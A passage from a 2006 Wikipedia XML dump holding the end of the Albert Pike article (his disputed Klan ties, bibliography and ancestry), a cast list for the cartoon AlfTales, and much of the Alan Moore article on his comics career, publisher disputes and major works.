Dr. Walter L. Fleming republished Lester's memoir in 1905 and added a list of names and pictures of &quot;Klansmen.&quot; These included Pike but also Rev. D.L. Wilson who had been Lester's co-author but not a Klansman. Thus if the inclusion of Pike on the list was a mistake, then it was not Fleming's only one. 

Susan L. Davis published her &quot;Authentic History&quot; of the Klan in 1924. She disagreed with Lester and regarded Fleming as not knowledgeable about the Klan. She also said that David L. Wilson, was wrong to say that the original Klan was a failure. (This is not surpirsing since Davis was actively supporting a revival of the Klan at the time of her publication.)

Virtually all books or articles that claim Pike was part of the Ku Klux Klan use Fleming, Davis, other authors who cite Fleming or Davis, or else use no sources whatsoever. As one source puts it, &quot;Research into primary source material will reveal that there isn't any primary source material&quot; that proves or disproves Pike's association with the Klan. It is noteworthy that when the Klan was founded in Pulaski, Tennessee around Christmas 1865, Pike was living in in Arkansas, and there is no record of him journeying to or being in Pulaski.

===Conspiracy theories===

Pike's contributions to the Scottish Rite of Freemasonry in the Southern Jurisdiction of the United States, combined with his unique life and written works, has made him a person of note in virtually every conspiracy theory that mentions Freemasons.

== Literature ==
* Albert Pike: ''Morals and Dogma''. [http://www.illuminati-news.com/e-books/morals-dogma/apike.htm Book]
* Albert Pike: ''Meaning of Masonry''. Kessinger Publishing, May 2004. ISBN 1417911018
* Albert Pike: ''Reprints of Old Rituals''. Kessinger Publishing, March 1, 1997. ISBN 1564599833
* Albert Pike: ''Book of the Words''. Supreme Council. (http://www.srmason-sj.org/acatalog/Ritual_and_Ceremonial.html)
* Albert Pike: ''Book of the Words''. Kessinger Publishing, March 1, 1997. ISBN 1564591611
* Albert Pike: ''Indo-Aryan Deities and Worship as Contained in the Rig-Veda''.  Kessinger Publishing, March 1, 1997. ISBN 1564591832
* Albert Pike: ''The Point Within the Circle: Freemasonry Veiled in Allegory and Illustrated by Symbols''. Holmes Pub Grou Llc, November 1, 2001. ISBN 1558183051
* Albert Pike: ''Morals and Dogma of the First Three Degrees of the Ancient and Accepted Scottish Rite Freemasonry''. Kessinger Publishing, May 2004. ISBN 1417911085

=== Biography ===
* Walter Lee Brown: ''A Life of Albert Pike''. University of Arkansas Press, September 1, 1997. ISBN 1557284695
* Fred W. Allsopp: ''Albert Pike a Biography''. Kessinger Publishing, March 1, 1997. ISBN 1564591344

== Ancestry &amp; Family ==
Albert's descent from his immigrant ancestor [[John Pike]] is as follows:
*[[John Pike]] (1572-1654)
**John Pike (1613-1689/90)
***Joseph Pike (1638-1694)
****Thomas Pike (1682-1753/4)
*****John Pike (1710-1755)
******Thomas Pike (1739-1836)
*******Benjamin Pike (1780-????)
********'''Albert Pike (1809-1891)'''

== External links ==
*[http://www.arkmason.org/albert_pike.htm A short biography of Albert Pike]
*[http://www.tsha.utexas.edu/handbook/online/articles/view/PP/fpi18.html Handbook of Texas Online - Albert Pike]
*[http://www.masonicinfo.com/pikesphilosophy.htm Pike's Masonic philosophy]
*[http://civilwarstudies.org/features/pike.htm Albert Pike: Hero or Scoundrel?]
*[http://bessel.org/russo/m&amp;d01.htm a modern analysis of his ''Morals and Dogma'']
*[http://www.srmason-sj.org/web/temple-files/pillars.html About room where he is entombed]
*[http://www.threeworldwars.com/albert-pike.htm Albert Pike and World War Three] ([[conspiracy theory]]&amp;mdash;but, regarding the supposed correspondence to [[Giuseppe Mazzini]] of 1871 Aug 15, it notes that &quot;to date, no conclusive proof exists to show that this letter was ever written.&quot;)
*[http://freemasonry.bcy.ca/anti-masonry/kkk.html His involvement with the KKK &amp; KGC]

[[Category:1809 births|Pike, Albert]]
[[Category:1891 deaths|Pike, Albert]]
[[Category:American writers|Pike, Albert]]
[[Category:Confederate Army generals|Pike, Albert]]
[[Category:Freemasons|Pike, Albert]]
[[Category:People from Massachusetts|Pike, Albert]]
[[Category:United States Army officers|Pike, Albert]]

[[de:Albert Pike]]</text>
    </revision>
  </page>
  <page>
    <title>AlfTales</title>
    <id>2372</id>
    <revision>
      <id>39026621</id>
      <timestamp>2006-02-10T05:11:36Z</timestamp>
      <contributor>
        <ip>210.50.228.4</ip>
      </contributor>
      <comment>/* Cast */</comment>
      <text xml:space="preserve">[[Image:Tv_alftales.jpg|250px|right|AlfTales opening screen]]
'''''AlfTales''''' was an animated [[United States|American]] series that ran on the [[NBC]] television network on Saturdays from August [[1988]] to December [[1989]]. The show was a spinoff from the series ''[[Alf: The Animated Series]]''.

Alf also made a small appearance in the drug prevention video ''[[Cartoon All-Stars to the Rescue]]''.

==Cast==
*[[Paul Fusco]] - Gordon Shumway (&quot;Alf&quot;) (voice)
*[[Paulina Gillis]] - Augie/Rhonda (voice)
*[[Peggy Mahon]] - Flo (voice)
*[[Thick Wilson]] - Larson Petty/Bob (voice)
*[[Dan Hennessey]] - Sloop (voice)
*[[Rob Cowan]] (II) - Skip (voice)
*[[Don Francks]] - Additional Voices (voice)
*[[Marvin Goldhar]] - Additional Voices (voice)
*[[Greg Swanson]] - Additional Voices (voice)
*[[Debra Theraker]] - Additional Voices (voice)
*[[Michael Lamport]] - Additional Voices (voice)
*[[Harvey Atkin]] - Additional Voices (voice)
*[[Greg Morton]] - Additional Voices (voice)
*[[Stephen Ouimette]] - Additional Voices (voice)
*[[Andrew Sachs]] - Additional Voices (voice)
*[[John Stocker]] - Additional Voices (voice)
*[[Stuart Stone]] - Additional Voices (voice)
*[[Chris Wiggins]] - Additional Voices (voice)
*[[Marilyn Lightstone]] - Additional Voices (voice)
*[[Richard Yearwood]] - Additional Voices (voice)
*[[Eva Almos]] - Additional Voices (voice)
*[[Jayne Eastwood]] - Additional Voices (voice)
*[[Marla Lukofsky]] - Additional Voices (voice)
*[[Nick Nichols]] - Additional Voices (voice)
*[[Linda Sorensen]] - Additional Voices (voice)
*[[Don McManus]] - Additional Voices (voice)
*[[Ken Ryan]] - Additional Voices (voice)
*[[Robert Bockstael]] - Additional Voices (voice)
*[[Luba Goy]] - Additional Voices (voice)
*[[Rick Jones]] - Additional Voices (voice)
*[[Arnold Stang]] - Additional Voices (voice)
*[[Wendy Brackman]] - Additional Voices (voice)
*[[John Koensgen]] - Additional Voices (voice)
*[[Ron Rubin]] - Additional Voices (voice)
*[[Peter Keleghan]] - Additional Voices (voice)
*[[Len Carlson]] - Additional Voices (voice)
*[[Alyson Court]] - Additional Voices (voice)
*[[Darrin Baker]] - Additional Voices (voice)

[[Category:Animated television series]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Moore</title>
    <id>2375</id>
    <revision>
      <id>42061528</id>
      <timestamp>2006-03-03T15:17:06Z</timestamp>
      <contributor>
        <ip>72.227.139.8</ip>
      </contributor>
      <text xml:space="preserve">[[Image:alanmoore.jpg|thumb|right|Alan Moore.]]

'''Alan Moore''' (born [[November 18]], [[1953]], in [[Northampton]], [[England]]) is a [[United Kingdom|British]] [[writer]] most famous for his work in [[comics]], including the acclaimed [[graphic novel]]s ''[[Watchmen]]'', ''[[V for Vendetta]]'' and  ''[[From Hell]]''. He has also written a novel, ''[[Voice of the Fire]]'', and performs &quot;workings&quot; (one-off performance art/spoken word pieces) with the [[Moon and Serpent Grand Egyptian Theatre of Marvels]].

As a comics writer, Moore is renowned for bringing more mature, literary sensibilities to a medium often dismissed as juvenile and trivial. As well as including literary influences, adult themes and challenging subject matter, he also experiments with the form of comics, employing effects unique to the medium, and creating different ways to combine text and image. He brings a wide range of influences to his work, including authors such as [[William S. Burroughs]], [[Thomas Pynchon]] and [[Iain Sinclair]], [[New Wave (science fiction)|New Wave]] [[science fiction]] writers like [[Michael Moorcock]] and [[horror fiction|horror]] writers like [[Clive Barker]], and film-editing techniques from the work of directors like [[Nicolas Roeg]]. Comics artist [[Bryan Talbot]], whose ''[[The Adventures of Luther Arkwright]]'' anticipated the adult comics movement, is also undoubtedly a major influence. Some of Moore's superhero work in the 1980s borrows thematic elements from [[Robert Mayer]]'s novel ''[[Super-Folks]]''.

Moore is a practising [[magician]], and claims to worship a Roman snake-deity named [[Glykon]].

==Career==
===Early work===
[[Image:Warrior2.jpg|right|thumb|''[[Warrior (comic)|Warrior]]''#2, art by [[Garry Leach]].]]
Having been expelled from school aged 17 for dealing [[LSD|acid]],{{ref|acid}} Moore spent the next several years in menial jobs before embarking on a career as a [[cartoonist]] in the late 1970s. He wrote and drew [[Underground comics|underground]]-style strips for music magazines like ''[[Sounds (magazine)|Sounds]]'' and the ''[[NME]]'' under the pseudonym [[Kurt Weill|Curt Vile]], sometimes in collaboration with his friend [[Steve Moore (comics)|Steve Moore]] (no relation). Under the pseudonym [[Gilles de Rais|Jill de Ray]] he began a weekly strip, ''[[Maxwell the Magic Cat]]'', for the [[Northants Post]] newspaper, which continued until 1986.

Deciding he could not make a living as an artist, he concentrated on writing, providing scripts for [[Marvel UK]], ''[[2000 AD (comic)|2000 AD]]'' and ''[[Warrior (comic)|Warrior]]''. At Marvel he wrote short strips for ''[[Doctor Who Magazine]]'' and ''[[Star Wars]] Weekly'' before beginning a celebrated run on ''[[Captain Britain]]'' with artist [[Alan Davis]], running in a variety of Marvel UK publications. At ''2000 AD'' he started by writing one-off ''[[Future Shocks]]'' and ''Time Twisters'', moving on to series such as ''[[Skizz]]'' (''[[E.T. the Extra-Terrestrial|E.T.]]'' as written by [[Alan Bleasdale]], with [[Jim Baikie]]), ''[[D.R. and Quinch]]'' (a sci-fi take on [[National Lampoon]]'s characters O.C. and Stiggs, with Davis) and ''[[The Ballad of Halo Jones]]'' (the first series in the comic to be based around a female character, with [[Ian Gibson (artist)|Ian Gibson]]). The last two proved amongst the most popular strips to appear in ''2000 AD'' but Moore became increasingly concerned at his lack of creator's rights, and in 1986 stopped writing for ''2000 AD'', leaving the ''Halo Jones'' story incomplete. The theme of fallings out with publishers on matters of principle would become a common one in Moore's later career.

Of his work during this period, it is the work he produced for ''Warrior'' that attracted greater critical acclaim; ''[[Marvelman]]'' (later retitled Miracleman for legal reasons), a radical re-imagining of a forgotten 1950s [[superhero]] drawn by [[Garry Leach]] and [[Alan Davis]]; ''[[V for Vendetta]]'', a [[dystopian]] pulp adventure about a flamboyant [[anarchist]] terrorist who dresses as [[Guy Fawkes]] and fights a future [[British]] [[fascist]] government, illustrated by [[David Lloyd (comic artist)|David Lloyd]]; and ''[[The Bojeffries Saga]]'', a comedy about a working-class English family of [[vampires]] and [[werewolves]], drawn by [[Steve Parkhouse]].  ''Warrior'' closed before these stories were completed, but he was able to continue them with other publishers.

===American mainstream===
[[Image:Killingjoke.JPG|thumb|left|150px|Cover art for ''[[Batman: The Killing Joke]]'' by [[Brian Bolland]].]]

Moore's British work brought him to the attention of DC Comics [[editor]] [[Len Wein]], who hired him in 1983 to write ''[[Swamp Thing]]'', then a fairly formulaic monster comic, and also one of the poorest selling of DC's titles at the time. Moore, along with artists [[Stephen R. Bissette]], [[Rick Veitch]] and [[John Totleben]], deconstructed and rebuilt the character from the ground up, writing a series of formally experimental stories that addressed environmental and social issues alongside the horror and fantasy.

Once it was clear that Moore had revitalised ''[[Swamp Thing]]'' and that he brought great critical acclaim, he was given new assignments by DC. These included backup [[Green Arrow]] (in ''[[Detective Comics]]'') and [[Omega Men]] stories, a two part story in ''[[Vigilante (comics)|Vigilante]]'', plus various [[Batman]] and [[Superman]] stories. The most acclaimed of this work was the final two part Superman story (''[[Superman: Whatever Happened to the Man of Tomorrow?|Whatever Happened to the Man of Tomorrow?]]'')  before [[John Byrne]]'s revamp in 1986 and ''[[Batman: The Killing Joke|The Killing Joke]]'' with artist [[Brian Bolland]].

It was with the limited series ''[[Watchmen]]'', begun in 1986 and collected as a graphic novel in 1987, that he cemented his reputation. Imagining what the world would be like if superheroes had really existed since the 1940s, Moore and artist [[Dave Gibbons]] created a twisted [[Cold War]] mystery in which the shadow of [[nuclear war]] threatens the world.  The heroes who are caught up in this escalating crisis either work for the [[United States of America|U.S.]] government or are outlawed; they are variously neurotic, amoral, sexually dysfunctional, borderline-fascistic and, ultimately, woefully human. ''Watchmen'' is formally ambitious, densely written, intricately constructed, non-linear and told from multiple points of view; it is a rare example of a [[graphic novel]] that in its scope and depth can be genuinely considered a [[novel]] in comics form.  Moore was widely acclaimed for revitalising the medium, not least in his decision to tackle dense philosophical issues such as predestination, free will and moral reasoning, which previously had not been so skillfully broached in a mainstream comic.

[[Image:V for vendettax.jpg|thumb|150px|Cover art for the collected edition of ''[[V for Vendetta]]'' by [[David Lloyd (comic artist)|David Lloyd]].]]

''Watchmen'' is also notable for widening the rift between Moore and DC Comics which originated during Moore's tenure as writer on ''Swamp Thing''.  DC marketed a limited edition badge set featuring characters and images from the series, as well as the iconic 'smiley badge' featured in the series. This badge set caused friction between Moore and DC - the publisher claimed that they were a &quot;promotional item&quot; and not merchandising, and therefore DC did not pay Moore or Gibbons any royalties from the sale of the sets.

Alongside roughly contemporaneous work such as [[Frank Miller]]'s ''[[The Dark Knight Returns]]'', [[Art Spiegelman]]'s ''[[Maus (comics)|Maus]]'' and [[Jaime Hernandez|Jaime]] and [[Gilbert Hernandez]]'s ''[[Love and Rockets (comics)|Love and Rockets]]'', ''Watchmen'' was part of a late 1980s trend towards comics with more adult sensibilities. Moore briefly became a media celebrity, and the resulting attention led to him withdrawing from [[fandom]] and no longer attending comics conventions (at one [[UKCAC]] in [[London]] he is said to have been followed into the toilet by eager autograph hunters).  

''Marvelman'' was reprinted and continued for the American market as ''[[Miracleman]]'', published by independent publisher [[Eclipse Comics]]. The change of name was prompted by [[Marvel Comics]]' complaints of possible [[trademark]] infringement. Despite [[copyright]] disputes with artists and allegations of non-payment against the publisher, Moore, with artists [[Chuck Austen]], Rick Veitch and John Totleben, finished the story he wanted to tell and handed the character to writer [[Neil Gaiman]] and artist [[Mark Buckingham]] to continue. The legal ownership of the character continues to be rather murky.

Moore and Lloyd took ''V for Vendetta'' to DC, where it was reprinted and completed in full colour and released as a graphic novel. However Moore (along with [[Frank Miller]] and [[Howard Chaykin]]) fell out with DC over a proposed age-rating system similar to those used for films, and he stopped working for them after completing ''V for Vendetta'' in 1989.

====''Twilight of the Superheroes''====
There is a &quot;lost work&quot; from this period, a miniseries proposal called ''Twilight of the Superheroes'' which Moore submitted to DC at some point in 1987. A superheroic pun on [[Richard Wagner]]'s opera act, the &quot;Twilight of the Gods&quot; ([[Götterdämmerung]]), this story was to be set two decades in the future of the [[DC Universe]] and would feature an epic final conflict between good and evil, as well as between the older and younger generations of superheroes. ''Twilight'' was conceived as a standalone [[limited series]] which could optionally also be tied into ongoing titles, much like the then-recent 12-issue limited series ''[[Crisis on Infinite Earths]]''. However, it would also undo one element of the prior series by restoring writers' access to the various multiple earths which had been eliminated during ''Crisis''. Cleverly, Moore did this in such a way as to leave the single timeline of the post-''Crisis'' continuity intact.

The story would feature a world ruled over by superheroic houses, in which the two most powerful, the House of Steel (presided over by [[Superman]] and [[Wonder Woman]]) and the House of Thunder (consisting of the [[Captain Marvel (DC Comics)|Marvel]] family) are about to join forces through a political marriage between the children of the two families. Such a marriage would make the combined houses an unstoppable force and a potential danger to freedom, and as such certain characters set about a complex plot to prevent the marriage and free humanity from the power of the superheroes. By the climax of the story, elements from all across the universe and from up and down the timestream would be brought in. Unusually, the series would highlight many obscure and forgotten DC characters by putting them in important roles, and the lead character would be [[John Constantine]], whose interaction with the superheroes of the DC Universe had up until then (and indeed since) been rather minor.

With Moore's departure from DC, the series never got beyond the proposal stage, although copies of Moore's very lengthy notes have appeared on the internet and in print. DC have been quite thorough in tracking down and suppressing these copies as the story, though unpublished, is still considered the property of the company. Elements of ''Twilight'' can be seen in the concept of [[Hypertime (comics)|hypertime]] and particularly in DC's similar-themed series [[Kingdom Come (comic)|''Kingdom Come'']], leading cynics to remark that the suppression of copies of the ''Twilight'' proposal may be an attempt by DC to hide the fact that they are strip-mining unused Moore concepts. Both [[Mark Waid]] and [[Alex Ross]], the creators of ''Kingdom Come'', have admitted that they had read the ''Twilight'' proposal before starting work on their series, but claim that any similarities are both minor and unintended.

===Independent period===
A variety of projects followed, including ''[[Brought to Light]]'', a history of [[CIA]] covert operations with illustrator [[Bill Sienkiewicz]] for [[Eclipse Comics]], and an anthology, ''[[AARGH (Artists Against Rampant Government Homophobia)]]'' campaigning against [[Section 28|anti-homosexual legislation]], which Moore published himself through his newly-formed publishing company, Mad Love.

After prompting by cartoonist and self-publishing advocate [[Dave Sim]], Moore then used Mad Love to publish his next project, ''[[Big Numbers]]'', a proposed 12-issue series set in contemporary Britain and based on [[chaos theory]] and the mathematical ideas of [[Benoît Mandelbrot]]. Bill Sienkiewicz illustrated in an intense, painted style but the workload became too much for him after only two issues. His assistant [[Al Columbia]] took over and painted a third issue, which never saw print, and the series was abandoned. Mad Love was financially wiped out.

Moore contributed two serials to the horror anthology ''Taboo'', edited by Stephen R. Bissette. ''[[From Hell]]'' examined the [[Jack the Ripper]] murders as a microcosm of the 1880s, and the 1880s as the root of the 20th Century. Illustrated in an appropriately sooty pen and ink style by [[Eddie Campbell]], ''From Hell'' took nearly ten years to complete, outlasting ''Taboo'' and going through two more publishers before being collected as a graphic novel by Eddie Campbell Comics. ''[[Lost Girls]]'', with artist [[Melinda Gebbie]] (who would eventually become Moore's second wife), is an [[erotic]] series decoding the sexual meanings in ''[[Alice's Adventures in Wonderland]]'', ''[[Peter Pan]]'' and ''[[The Wonderful Wizard of Oz]]''. A collected edition is due in early 2006.

He also wrote a graphic novel for [[Victor Gollancz Ltd]], ''[[A Small Killing]]'', illustrated by [[Oscar Zarate]], about a once idealistic advertising executive haunted by his boyhood self, published in 1988 through Mad Love and reprinted in 2003 by [[Avatar Press]].

===Return to the mainstream===
After several years out of the mainstream, Moore worked his way back into superhero comics by writing several series for [[Image Comics]] and the companies that later broke away from it. He felt that his influence on comics had in many ways been detrimental. Instead of taking inspiration from the more innovative aspects of his work, creators who followed him had merely imitated the violence and grimness.  As a reaction against the superhero genre's abandonment of its innocence, Moore and artists Stephen R. Bissette, Rick Veitch and John Totleben conceived ''[[1963 (comic)|1963]]'', a series of comics pastiching Marvel's early output.

Tapping into the early issues of ''[[Spider-Man]]'', ''[[Doctor Strange]]'', ''[[Iron Man]]'', ''[[Fantastic Four]]'', and the ''[[Avengers (comics)|Avengers]]'', Moore wrote the comics according to the styles of the time, including the period's sexism and pro-capitalist propaganda, which, though played seriously, appeared quaint to a 90s audience. There was also a large streak of self-promotion, a satire of the bombastic Marvel editorial columns and policies of [[Stan Lee]].

The series was to have concluded with an annual in which the heroes travel to the 1990s to meet the prototypical grim, ultra-violent [[Image Comics]] characters.  The ''1963'' heroes would have been shocked at their descendants, even the change in art from four colors to gray shading would have been commented upon. The annual never appeared due to disputes within Image and the creative team. 

Following ''1963'', Moore worked on [[Jim Lee]]'s ''[[Wildcats (comics)|WildC.A.T.s]]'' and a number of [[Rob Liefeld]]'s titles, including ''[[Supreme (comics)|Supreme]]'', ''[[Youngblood]]'' and ''[[Glory (comics)|Glory]]'', retooling sometimes rudimentary and derivative characters and settings into more viable series. In Moore's hands, ''Supreme'' became an inventive post-modern homage to superhero comics from the 1940s on, and the Superman comics of the [[Mort Weisinger]] era in particular.

===America's Best Comics===
[[Image:League.jpg|thumb|right|150px|Cover art for the collected edition of ''[[The League of Extraordinary Gentlemen]]'' by [[Kevin O'Neill (comics)|Kevin O'Neill]].]]

After working on Jim Lee's comic ''WildC.A.T.s'', Moore created the ABC ([[America's Best Comics]]) line, an entirely new group of characters to be published by Lee's company [[Wildstorm]]. Before publication, however, Lee sold Wildstorm to DC, and Moore found himself in the uncomfortable position of working for DC again. The line included:

*''[[The League of Extraordinary Gentlemen]]'', a team-up book featuring characters from [[Victorian era]] [[pulp fiction]] such as [[H. Rider Haggard]]'s [[Allan Quatermain]], [[H. G. Wells]]' [[The Invisible Man|Invisible Man]], [[Jules Verne]]'s [[Captain Nemo]], [[Robert Louis Stevenson]]'s [[The Strange Case of Dr. Jekyll and Mr. Hyde|Dr. Jekyll and Mr. Hyde]], and Wilhelmina Murray from [[Bram Stoker]]'s ''[[Dracula]]'', drawn by [[Kevin O'Neill (comics)|Kevin O'Neill]];
*''[[Tom Strong]]'', a post-modern superhero story drawing on and politicizing pre-Superman characters such as [[Doc Savage]] and [[Tarzan]] and subtly implicating their moral absolutism in a program of [[fascism]], drawn by [[Chris Sprouse]] and others;
*''[[Top 10 (comic)|Top 10]]'', a deadpan but hysterical [[police procedural]] set in a city where everyone, from the police and criminals to the civilians and even pets, has super-powers, costumes and secret identities, drawn by [[Gene Ha]] (finished art) and [[Zander Cannon]] (layouts). The series ended after twelve issues, but spawned two spin-offs: the miniseries ''[[Smax]]'', drawn by Cannon, and ''[[Top 10: The Forty-Niners]]'', a graphic novel drawn by Ha;
*''[[Promethea]]'', a superheroine explicitly from the realms of the imagination, which also explores Moore's ideas about [[consciousness]], [[mysticism]], [[magic (paranormal)|magic]], [[écriture féminine]] and the [[Kabbalah]], drawn by [[J.H. Williams III]];
*''[[Tomorrow Stories]]'', an anthology series with a regular cast of characters such as [[Cobweb (comics)|Cobweb]], [[First American]], [[Greyshirt]], [[Jack B. Quick]], and [[Splash Brannigan]].

===Disputes with DC and Marvel Comics===
As noted above, Moore had a long-standing dispute with DC Comics, and he was unhappy that his deal with Wildstorm unexpectedly placed him in the DC &quot;family.&quot; Wildstorm attempted to placate him by forming an editorial &quot;firewall&quot; to insulate Moore from DC's corporate offices. However, various incidents continued to irritate Moore. ''League of Extraordinary Gentlemen'' #5 contained an authentic vintage advertisement for a &quot;[[Marvel Comics|Marvel]]&quot;-brand [[douche]], which caused DC executive [[Paul Levitz]] to order the entire print run destroyed and reprinted without the advertisement.

In 2002, [[Marvel Comics]]' editor-in-chief, [[Joe Quesada]], attempted to persuade Moore to contribute new work (Moore had already contributed to Marvel's [[9/11]] tribute comic, ''Heroes''). Quesada had spent a lot of time courting contributors who had previously had problems with the company. Moore was suitably impressed by Quesada's claim that the company he had once known had now changed, and that the problems (Marvel US had printed some of Moore's [[Marvel UK]] ''Doctor Who Weekly'' strips without his permission) he'd had previously would not happen again.

This resulted in Moore's approving a trade paperback collection of his ''Captain Britain'' work with Alan Davis, on the understanding that he would receive full credit for his characters. Unfortunately, Moore's credit was omitted due to a printing error, and this led him to declare that he would no longer consider working for Marvel, despite Quesada having apologised publicly and ensured that later editions were corrected.

===Reactions to film adaptations===
Film adaptations of Moore's work also proved controversial. With ''[[From Hell]]'' and ''[[The League of Extraordinary Gentlemen]]'', Moore was content to allow the filmmakers to do whatever they wished and removed himself from the process entirely. &quot;As long as I could distance myself by not seeing them,&quot; he said, he could profit from the films while leaving the original comics untouched, &quot;assured no one would confuse the two. This was probably naïve on my part.&quot;{{ref|gutters}}

Trouble arose when producer Martin Poll and screenwriter Larry Cohen filed a [[lawsuit]] against [[20th Century Fox]], alleging that the film ''The League of Extraordinary Gentlemen'' plagiarized their script entitled ''Cast of Characters.'' Although the two scripts bear many similarities, most of them are elements that were added for the film and do not originate in Moore's comics. According to Moore, &quot;they seemed to believe that the head of 20th Century Fox called me up and persuaded me to steal this screenplay, turning it into a comic book which they could then adapt back into a movie, to camouflage petty larceny.&quot; Moore testified in court hearings, a process so painful that he surmised he would have been better treated having &quot;sodomised and murdered a busload of children after giving them heroin.&quot; Fox's settlement of the case insulted Moore, who interpreted it as an admission of guilt.

Moore's reaction was to divorce himself from the film world: he would refuse to allow film adaptations of anything to which he owned full copyright. In cases where others owned the rights, he would withdraw his name from the credits and refuse to accept payment, instead requesting that the money go to his collaborators (i.e. the artists). This was the arrangement used for the film ''[[Constantine (movie)|Constantine]]''.

The last straw came when producer [[Joel Silver]] misquoted Moore at a press conference for the upcoming ''V for Vendetta'' film, produced by [[Warner Brothers]] (which also owns DC Comics). Silver stated that producer [[Wachowski brothers|Larry Wachowski]] had talked with Moore, and that &quot;he [Moore] was very excited about what Larry had to say.&quot;{{ref|vpress}} Moore, who claims that he told Wachowski &quot;I didn't want anything to do with films... I wasn't interested in Hollywood,&quot; demanded that DC and Warner Brothers issue a retraction and apology for Silver's &quot;blatant lies.&quot; No retraction or apology appeared, and in response Moore announced his departure from Wildstorm/DC/Warner Bros. ''The League of Extraordinary Gentlemen: Dark Dossier,'' a hardcover graphic novel, will be his last work for the publisher. Future installments of ''LoEG'' will be published by [[Top Shelf Productions]] and [[Knockabout Comics]]. Moore has also stated that he wishes his name to be &quot;[[Alan Smithee]]d&quot; from comic work that he does not own.{{ref|smithee}}

===Current work===
Moore currently has several titles being produced under the auspices of his own line of comics, America's Best.  Comics under this banner have included the Eisner-Award winning Top 10 as well as The League of Extraordinary gentlemen, Tom Strong, Supreme, Promothea and Tomorrow Stories.

===Awards and recognition===
His work has won him several awards, including a 1985 [[Jack Kirby Award]] for Best Single Issue for ''Swamp Thing Annual'' #2 with John Totleben and Steve Bissette, the 1985, 1986 and 1987 Jack Kirby Awards for Best Continuing Series for ''Swamp Thing'' with Totleben and Bissette, the 1985 and 1986 Jack Kirby Awards for Best Writer for Swamp Thing, the 1987 Jack Kirby Award for Best Writer for ''Watchmen'', the 1987 Jack Kirby Finite Series (completed in 1986) Award for ''Watchmen'' with Dave Gibbons, the 1987 Jack Kirby award for Best Writer/Artist (Single or Team) for ''Watchmen'' with Gibbons, the Comics' Buyer's Guide Award for Favorite Writer in 1996, 2000, and 2001.

He received the [[Harvey Award]] for Best Writer for 1988 (for Watchmen), for 1995 and 1996 (for ''From Hell''), for 1999 (for his body of work, including ''From Hell'' and ''Supreme''), for 2000 (for ''The League of Extraordinary Gentlemen''), and for 2001 and 2003 (for ''Promethea'').

In addition, he received nominations for the 1985 Jack Kirby Award for Best Single Issue for ''Swamp Thing'' #32 with [[Shawn McManus]], the 1985 Jack Kirby Award for Best Single issue for ''Swamp Thing'' #34 with John Totleben and Steve Bissette, a 1986 Jack Kirby nomination for Best Single Issue for ''Superman Annual'' #9 with Dave Gibbons, a 1986 Jack Kirby nomination for Best Single Issue for ''Swamp Thing'' #43 with [[Stan Woch]], a 1986 Jack Kirby nomination for Best Writer/Artist (single or team) for ''Swamp Thing'' with Bissette, 1987 Jack Kirby Award nominations for Best Single Issue for both ''Watchmen'' #1 and #2 with Dave Gibbons, and the [[Comics' Buyer's Guide]] Award for Favorite Writer in 1997, 1998, and 1999.

==Major works==
===Marvelman/Miracleman===
{{main|Miracleman}}

[[Image:Miracle3.png|thumb|left|140px|Cover art for ''[[Miracleman]]''#3 by [[Howard Chaykin]].]]

Starting in 1982 within the pages of ''Warrior'', Alan Moore resurrected ''Marvelman'', a popular British comic from the 1950s which was a thinly disguised ripoff of the American superhero [[Captain Marvel]].  The strip, which ran from 1954 to 1963, followed the adventures of Micky Moran, a young boy who was given the power to become a full grown superhero by a recluse astro-scientist who discovered the secret &quot;key harmonic&quot; of the universe. The strip, which maintained a childish innocence and purity, has the distinction of being the first British superhero comic. The new version would [[retcon]] and revise utterly the earlier children's comic.  After ''Warrior'' closed, ''Marvelman'' was reprinted and continued at [[Eclipse Comics]], renamed &quot;Miracleman&quot; due to a trademark dispute with Marvel Comics.

''Miracleman'' is an early example of [[post-modernism]] in superhero comics, and has a strong theme of loss of innocence. Another key idea is that the existence of a superhero would change the world radically, something Moore would return to in ''Watchmen''.

===V for Vendetta===
{{main|V for Vendetta}}
Moore's original strip for the British Warrior comic was designed as an homage to the spirit of the British Boys Adventure comics of the 1950s and 60s as well as referencing literary sources such as [[George Orwell]] and the libertarianism of [[William Blake]]. The title character &quot;V&quot; appears at first to be a modern [[Robin Hood]] figure righting wrongs in a corrupt [[fascist]] Britain of the future, but as the story develops becomes more complex, a trickster version of a [[Bakunin]]esque revolutionary. It becomes clear that V differs from standard comic heroes in that his purpose is to empower &quot;ordinary&quot; people rather than do things for them. In bringing down the government, his intention is not to replace it with another of his choosing but to clear the stage for people to rule themselves. Moore's writing in 'V' continually challenges the legitimacy of those who would wield power over others: the party members are shown to be morally and politically corrupt.

Though set in the year 1997, the strip captures the feel of life in Britain in the early 1980s, with [[Thatcherism|economic decline and a perpetual drift to the right]] in national politics. It was among the first comics to use the literary device of [[intertextuality]], with V's speech often made up of extended quotes and references that are not cited. 'Vendetta' marks Moore's first use of the technique that has become his motif: using secondary characters to carry forward plot development or elicit background details. 'V' remains a shadowy figure who never removes his [[Guy Fawkes]] mask.

::&quot;Dave [Gibbons] was giving me his ideas as to how he actually wanted to approach the strip in terms of layout and execution. These included the absolute banning of sound effects, and as an afterthought, the utter eradication of thought balloons into the bargain.&quot; -- Moore, &quot;Behind the Painted Smile&quot;, &lt;i&gt;Warrior Magazine&lt;/i&gt; #17, 1983.

===Swamp Thing===
{{main|Swamp Thing}}

[[Image:Swampthingmoore21.jpg|thumb|right|150px|Cover of ''[[Swamp Thing]]''#21, &quot;The Anatomy Lesson&quot;; art by [[Tom Yeates]].]]

Moore's first American work was ''Swamp Thing'', a title starring a man turned into a vegetable monster by an experimental plant growth formula, which at the time was one of DC's poorest selling titles. The editor, Len Wein, had been a huge fan of Moore's work in ''Warrior'' and had decided to hire Moore to take over the book from [[Martin Pasko]]. Moore's first issue wrapped up Pasko's storyline and set up what would be his own unique take on a former fan-favourite character.

In Moore's second issue, &quot;The Anatomy Lesson&quot;, the title character is shot and dissected by scientist Jason Woodrue.  Woodrue, who was also the villain [[Floronic Man]], soon concludes that Swamp Thing is a superficial imitation of a man, his lungs cannot pump air, his brain does not contain neurons.  He concludes that the swamp creature is a plant which had absorbed the memories and imitated the life of a dead man; Swamp Thing was never human. The initial shock to his sense of identity led the character to embrace his identity as a plant, discovering new abilities and becoming less a &quot;muck-encrusted mockery of a man&quot; than a virtual vegetation [[deity]].

